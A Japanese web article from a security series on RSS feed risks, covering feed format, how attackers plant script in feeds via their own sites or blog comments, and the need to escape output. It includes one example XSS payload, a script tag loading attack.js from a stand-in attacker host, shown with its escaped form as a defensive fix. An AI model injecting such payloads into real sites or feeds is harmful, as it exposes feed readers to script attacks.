アンケートご協力のお願いgihyo.jpでは,2010年度に向けて豪華プレゼントが当たる読者属性アンケートを実施しております。ご協力ください。

gihyo.jp » DEVELOPER STAGE » 連載 » ここが危ない!Web2.0のセキュリティ » 第10回 RSSのセキュリティ

ここが危ない!Web2.0のセキュリティ

第10回 RSSのセキュリティ

RSSでWebページの更新情報を提供することが多くなりました。ブログソフトウェアやCMS(コンテンツ管理システム)では自動的にRSSフィードを生成してくれます。また,RSS情報を取得し見やすく整形して表示するRSSリーダーを使用してWebサイトの巡回をしている人も多いと思います。今回は,RSSフィードを提供する場合のセキュリティとRSSリーダーのセキュリティについて考えていきます。

RSSフィードのフォーマット

RSSにはいくつかのバージョンが存在します。RSS1.0,RSS2.0,Atomがよく使われています。たとえばRSS2.0は以下のようなXML形式のファイルです。このようなRSSフィードをWebサイト運営者が作成し,RSSリーダーがRSSフィードを読み込み,整形して表示するという流れになります。

<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0">
   <channel>
      <title>Secure Sky Technology Inc.</title>
      <link>http://www.securesky-tech.com/</link>
      <language>ja</language>
      <copyright>Copyright 2007</copyright>
      <item>
         <title>SSTホームページ開設のおしらせ</title>
         <description>SSTのホームページが平成18年4月3日に開設しました。</description>
         <link>http://www.securesky-tech.com/2006/03/sst_3.html</link>
         <guid>http://www.securesky-tech.com/2006/03/sst_3.html</guid>
         <category>01 news</category>
         <pubDate>Fri, 31 Mar 2006 10:49:15 +0900</pubDate>
      </item>
   </channel>
</rss>

RSSでの攻撃シナリオ

まず,攻撃者は攻撃コードを埋め込んだRSSフィードを準備します。このRSSフィードを設置する場所としては2つのケースが考えられます。1つは攻撃者自身のWebサイトに不正なRSSフィードを設置する方法で,もう1つが他のサイトのRSSフィードに埋め込む方法です。

攻撃者自身のサイトに攻撃コードを含んだRSSフィードを設置する方法の場合,攻撃者は自身のサイトに被害者を誘導しアクセスさせる必要があります。

一方,他のサイトのRSSフィードに埋め込む方法の場合,著名なサイトのRSSフィードに埋め込むことができれば攻撃の効果も上がります。ブログのコメントトラックバックを利用することで,攻撃コードを埋め込んだRSSフィードを生成させることができる場合があります。

図1 悪意のあるRSSフィードの設置

図1 悪意のあるRSSフィードの設置

そして,攻撃コードを埋め込まれたRSSフィードをRSSリーダーが読み込んだ時に被害が発生します。発生しうる主な脆弱性には以下のものがあります。

  • クロスサイトスクリプティング
  • SQLインジェクション
  • バッファオーバーフロー

RSSフィードへの攻撃による被害拡散

攻撃者はどこかのRSSフィードに攻撃コードを埋め込んでおけば,そのRSSを購読しているユーザのほうからRSSフィードを取得しに来てくれます。

一般のクロスサイトスクリプティングは何らかの方法によりユーザをサイトに誘導する必要があったのに対し,RSSを利用した攻撃の場合,攻撃者は一度攻撃を仕掛ければ,待っているだけでユーザのほうから被害に遭いに来てくれます。また,RSSフィードを一度購読すると,RSSリーダーは数分間隔で更新確認のためにRSSフィードにアクセスします。そのため,非常に効率よく大規模な攻撃を行うことができるので,攻撃者から見ると格好のターゲットになります。

図2 RSSによる被害拡散

図2 RSSによる被害拡散

RSSフィード提供者は,このように攻撃の踏み台となるのを防ぐ必要があります。対策は,一般のWebアプリケーションと同様です。

たとえば,図1のようにコメント欄に

<![CDATA[<script/src="http://attacker/attack.js"></script>]]>

と入力されていた場合には

&lt;![CDATA[&lt;script/src=&quot;http://attacker/attack.js&quot;&gt;&lt;/script&gt;]]&gt;

としてRSSフィードに出力すればよいことになります。

著者プロフィール

福森大喜(ふくもりだいき)

株式会社セキュアスカイ・テクノロジー CTO。大学の授業で作成したプログラムのセキュリティホールを指摘されたのがきっかけでセキュリティの道に進む。セキュリティベンダーでIDS,IRT等に従事した後,Webアプリケーションのセキュリティ検査サービスを立ち上げる。2006年4月に株式会社セキュアスカイ・テクノロジーを設立。

URLhttp://www.securesky-tech.com/

コメント

コメントの記入

パスサポ

多数の情報処理技術者試験対策書籍の発行実績を誇る技術評論社がお届けする,資格試験合格サイト「めざせ! 情報処理試験 パスサポ」が開設されました。

ピックアップ

サクセスストーリーに続く,快適サーバー運用管理のヒント!

データの増大,煩雑な管理,システムダウン,セキュリティなど,迫りくる課題からシステム管理者の負担を軽くするポイントを解説します。

gihyo.jp インフラエンジニア情報局

ネットワークやITにかかわるあらゆる業種で必要とされるインフラエンジニアに向けた技術情報や心構え,その魅力について多角的に紹介。

テストエンジニア ステーション

いま,ITに関わるあらゆる開発業務で注目されつつあるテスト系エンジニアをターゲットにしたコンテンツサイトを展開します。

一行クイックアンケート

gihyo.jpで取り上げてほしいネタは?

※検索はページ右上の検索ボックスをご利用ください。

その他の連載

Ubuntu Weekly Recipe

Ubuntuの強力なデスクトップ機能を活用するための,いろいろなレシピをお届けします。

C/C++プログラマのためのDTrace入門

よくカーネルのチューニングや解析で活用されるDTraceですが,実はユーザプログラムの開発においても非常に有用です。連載ではC/C++プログラマやテストに関わる方向けにDTraceの使い方を解説します。

Blogopolisから学ぶ計算幾何

計算幾何学は,図形に関するアルゴリズムを研究するコンピュータサイエンスの一分野です。本連載では,ビジュアルブログ検索エンジン「Blogopolis」で採用されている計算幾何のアプローチを例に取り上げながら,計算幾何の初歩を実践的に学習します。

検索エンジンはいかにして動くのか?

本連載では, 今や誰もが利用している検索エンジンの中身を,全体の仕組みやデータ構造,アルゴリズムから分散インデックスまで,最近の研究事例も交えて紹介します。

サイエンスに片思い

本連載では,サイエンスという学問を軸に,そこから広がる可能性やつながり,そしてWebの世界との関係について,前田邦宏氏がさまざまな取材を元に考察し,これからの可能性について展望します。

使ってみよう! Windows Live SDK/API

Windows Liveサービスの一部にはAPIやSDKとして提供されているものがあります。本連載では各API・SDKの紹介とそれらを利用したアプリケーションを開発していきます。

Lifelog~毎日保存したログから見えてくる個性

コンピュータを使って,日常のさまざまなことの記録(ログ)をとり,それを分析して活用することで,もう一段階上の「楽な生活」をめざす日々の研究報告です。

もっと便利に!jQueryでラクラクサイト制作(実践サンプル付き)

本連載では,実践サンプルとともに,jQueryを上手に活用してサイト制作の品質向上・効率化を実現するための実践テクニックを解説します。

連載一覧

gihyo.jp

  • DEVELOPER STAGE
  • ADMINISTRATOR STAGE
  • WEB+DESIGN STAGE
  • LIFESTYLE STAGE
  • SCIENCE STAGE
  • NEWS & REPORT

書籍案内

  • 新刊書籍
  • 書籍ジャンル一覧
  • 書籍シリーズ一覧
  • 新刊ピックアップ
  • ロングセラー
  • 電脳会議

定期刊行物一覧

  • Software Design
  • WEB+DB PRESS
  • Web Site Expert
  • 組込みプレス